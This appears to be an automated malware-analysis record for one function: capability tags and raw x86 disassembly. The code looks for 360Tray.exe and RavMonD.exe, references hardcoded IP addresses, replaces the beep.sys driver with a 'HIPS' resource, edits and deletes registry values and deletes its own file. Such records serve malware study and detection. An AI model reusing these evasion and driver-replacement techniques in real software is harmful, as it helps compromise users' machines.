Function at 0x403570
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Create thread
Delete file
Delete registry value
Get common file path
Query or enumerate registry value
Set file attributes
Set registry value
Terminate process

Disassembly:
sub esp, 0x4a0
push ebx
push ebp
push esi
push edi
call dword [sym.imp.USER32.dll_GetInputState]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
call dword [sym.imp.USER32.dll_PostThreadMessageA]
push 0
push 0
lea eax, [esp + 0x48]
push 0
push eax
call dword [sym.imp.USER32.dll_GetMessageA]
push 0
push 0
push 0
push 0x403520
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.RavMonD.exe
mov dword [esp + 0x14], 0
call fcn.00401190
push str.360Tray.exe
mov ebx, eax
call fcn.00401190
mov edx, dword [esp + 0x4bc]
add esp, 8
lea ecx, [esp + 0x5c]
mov esi, eax
push 0x104
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [esp + 0x5c]
push 0x5c
push eax
call sub.MSVCRT.dll_strrchr
mov edi, eax
add esp, 8
inc edi
test esi, esi
je 0x40367e
call fcn.00401fa0
test eax, eax
je 0x40367e
push str.125.39.100.73
call fcn.00401250
push str.221.194.134.38
call fcn.00401250
push str.125.46.1.227
call fcn.00401250
push str.125.211.198.240
call fcn.00401250
push str.125.211.198.237
call fcn.00401250
mov ebp, dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x14
xor esi, esi
push esi
lea ecx, [esp + 0x24]
push str.124.238.254._d
push ecx
call ebp
lea edx, [esp + 0x2c]
push edx
call fcn.00401250
add esp, 0x10
inc esi
cmp esi, 0xff
jle 0x40365b
lea eax, [esp + 0x368]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
push str.csrss.exe
call fcn.00401190
add esp, 4
push eax
push 0
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
test eax, eax
je 0x4036b3
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push str.services.exe
push edi
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x40374a
lea ecx, [esp + 0x10]
mov dword [esp + 0x10], 0
push ecx
push 0x2001f
push 0
push str.Console
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea edx, [esp + 0x5c]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
mov ecx, dword [esp + 0x10]
push eax
lea eax, [esp + 0x60]
push eax
push 1
push 0
push str.FuckYou
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [esp + 0x10]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test ebx, ebx
je 0x403735
push 0
push 0
push 0
push 0x403500
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
lea eax, [esp + 0x5c]
push eax
call fcn.00403360
add esp, 4
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.00402a60
call fcn.00401390
mov ebp, dword [sym.imp.KERNEL32.dll_lstrcpyA]
test eax, eax
jne 0x403828
lea ecx, [esp + 0x160]
push 0x104
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea edx, [esp + 0x160]
lea eax, [esp + 0x264]
push edx
push eax
call ebp
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea ecx, [esp + 0x160]
push str.drivers_beep.sys
push ecx
call esi
lea edx, [esp + 0x264]
push str.dllcache_beep.sys
push edx
call esi
push str.Beep
call fcn.004013c0
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
add esp, 4
push 0x3e8
call edi
mov esi, dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea eax, [esp + 0x160]
push 0x80
push eax
call esi
lea ecx, [esp + 0x264]
push 0x80
push ecx
call esi
lea edx, [esp + 0x264]
push 0
push edx
push str.HIPS
push 0x65
push 0
call fcn.00403440
lea eax, [esp + 0x174]
push 0
push eax
push str.HIPS
push 0x65
push 0
call fcn.00403440
push str.Beep
call fcn.00401470
add esp, 0x2c
jmp 0x40382e
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
xor esi, esi
push 0x3e8
call edi
call fcn.00401390
test eax, eax
jne 0x403848
inc esi
cmp esi, 0x2d
jle 0x403830
jmp 0x40384d
call fcn.004014e0
push str.360Tray.exe
call fcn.00401190
push eax
call fcn.00401300
add esp, 8
push 0x1388
call edi
push str.InFormation
push 0x201
call fcn.00401670
mov esi, eax
add esp, 8
test esi, esi
jne 0x403889
push 0xfffffffffffffffe
call fcn.00403560
add esp, 4
push esi
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov edi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x4038a8
cmp eax, 5
jne 0x4038b2
push 0xfffffffffffffffe
call fcn.00403560
add esp, 4
push edi
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
push 0x405520
call ebp
push str.InFormation
push 0x202
call fcn.00401670
mov esi, eax
add esp, 8
test esi, esi
jne 0x4038ea
push 0xffffffffffffffff
call fcn.00403560
add esp, 4
push 0x405420
push esi
call sub.MSVCRT.dll_strstr
add esp, 8
test eax, eax
je 0x403906
mov byte [eax], 0
mov ebx, 1
jmp 0x40390a
mov ebx, dword [esp + 0x10]
push esi
push 0x405920
call ebp
push 0x7c
push 0x405920
call sub.MSVCRT.dll_strchr
mov esi, eax
add esp, 8
test esi, esi
jne 0x403930
push eax
call fcn.00403560
add esp, 4
push 0x405920
mov byte [esi], 0
call fcn.00401860
mov edi, eax
add esp, 4
test edi, edi
jne 0x403950
push 0xffffffffffffffff
call fcn.00403560
add esp, 4
inc esi
push esi
call fcn.00401860
mov esi, eax
add esp, 4
test esi, esi
jne 0x40396a
push 0xfffffffffffffffe
call fcn.00403560
add esp, 4
push 0x403550
call dword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
push 0x405520
push esi
push edi
call fcn.00401960
add esp, 0xc
test eax, eax
je 0x403991
push eax
call fcn.00401470
add esp, 4
lea ecx, [esp + 0x14]
mov dword [esp + 0x14], 0
push ecx
push 0x2001f
push 0
push str.Console
push 0x80000001
mov dword [esp + 0x2c], 0x104
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea edx, [esp + 0x18]
lea eax, [esp + 0x3ac]
push edx
mov edx, dword [esp + 0x18]
lea ecx, [esp + 0x20]
push eax
push ecx
push 0
push str.FuckYou
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push str.FuckYou
mov eax, dword [esp + 0x18]
push eax
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
mov ecx, dword [esp + 0x14]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test ebx, ebx
je 0x403a0e
lea edx, [esp + 0x3ac]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call fcn.00403560
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x4a0
ret 0x10